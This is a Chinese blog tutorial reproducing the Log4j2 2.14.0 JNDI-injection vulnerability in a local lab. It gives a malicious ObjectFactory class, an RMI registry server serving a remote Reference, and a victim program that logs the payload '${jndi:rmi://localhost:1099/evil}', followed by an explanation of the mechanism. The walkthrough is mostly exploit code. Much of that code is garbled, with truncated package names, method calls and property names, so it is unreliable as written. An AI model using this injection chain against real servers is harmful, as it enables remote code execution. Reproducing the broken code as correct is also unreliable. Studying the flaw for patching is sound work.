Log4j漏洞复现及原理(附github源码)
1.背景
之前在公司收到Log4j2爆出⼀个重⼤漏洞,公司有⼤部分应⽤使⽤到了Log4j的2.14.0以下的版本,全公司内部程序员收到消息之后,加班加点升级Log4j的版本到2.14.1(这个版本也不稳定),在此记录⼀下。
2.Log4j的重⼤漏洞
我们复现⼀下Log4j 2.14.0版本中出现的安全问题。⾸先,我们新建⼀个Maven项⽬,引⼊Log4j的jar包
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="/POM/4.0.0"
xmlns:xsi="/2001/XMLSchema-instance"
xsi:schemaLocation="/POM/4.0.0 /xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId&le</groupId>
<artifactId>log4j2Demo</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
</dependencies>
</project>
在resource⽬录下定义了l,表⽰log4j2的⽇志配置信息
<?xml version="1.0" encoding="UTF-8"?>
<!--status⽤来指定log4j本⾝的打印⽇志的级别.-->
<Configuration status="WARN">
<Appenders>
<!--指定打印到控制台的⽇志格式-->
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
</Console>
</Appenders>
<Loggers>
<!-- 默认打印⽇志级别为 info -->
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
接下来是攻击者的⾃定义类EvilObj,在类加载时执⾏static静态代码块
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
/**
* 在这⾥实现了ObjectFactory接⼝,主要是针对EvilObj类⽆法转换为ObjectFactory对象,其他Java版本中可能不存在这个问题
* @Author: Xin Liu
* @Date: 2022/2/15
*/
public class EvilObj implements ObjectFactory {
static{
System.out.println("在哪执⾏的");
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {        return null;
}
}
攻击者也实现了RMIServer(相当于注册中⼼)
package i;
import com.i.registry.ReferenceWrapper;
import javax.naming.Reference;
i.registry.LocateRegistry;
i.registry.Registry;
/**
* @Author: Xin Liu
* @Date: 2022/2/15
*/
public class RMIServer {
public static void main(String[] args) {
try{
Registry registry = ateRegistry(1099);
System.out.println("Create RMI Registry on port 1099");
String url="localhost";
Reference reference = new Reference("i.EvilObj", "i.EvilObj",url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil",referenceWrapper);
}catch(Exception e){
e.printStackTrace();
}
}
}
在我们的服务端业务代码中我们使⽤到了log4j,⽤info()⽅法进⾏打印⽇志
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
/**
* @Author: Xin Liu
* @Date: 2022/2/14
*/
public class Log4j2Test {
private static final Logger LOGGER= Logger(Log4j2Test.class);
public static void main(String[] args) {apachelog4j2漏洞
// 解决报错 The object factory is untrusted. Set the system property 'com.ustURLCodebase' to 'true'.
System.setProperty("com.ustURLCodebase", "true");
String userName="${jndi:rmi://localhost:1099/evil}";
LOGGER.info("Hello,{}",userName);
}
}
结果在服务端的控制台中执⾏EvilObj类加载的输出
3.漏洞原理分析
log4j的源码中执⾏了lookup⽅法,这个⽅法是导致本次漏洞的根因。
JNDI Naming Reference,命名引⽤
当有客户端通过lookup("refObj")获取远程对象时,获取的是⼀个Reference存根(Stub),由于是Refere
nce存根,所以客户端会先在本地classpath中去检查是否存在refClassName,如果不存在则去指定的url中动态加载,在log4j的服务器上执⾏加载类的实例化操作(静态变量、静态代码块)
⿊客在⾃⼰的客户端启动⼀个带有恶意代码的rmi服务,通过服务端的log4j的漏洞,向服务端的jndi context lookup的时候连接⾃⼰的rmi 服务器,服务端连接rmi服务器执⾏lookup的时候会通过rmi查询到该地址指向的引⽤并且本地实例化这个类,所以在类中的构造⽅法或者静态代码块中写⼊逻辑,就会在服务端(jndi rmi过程中的客户端)实例化的时候执⾏到这段逻辑,导致jndi注⼊。
4.参考视频

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。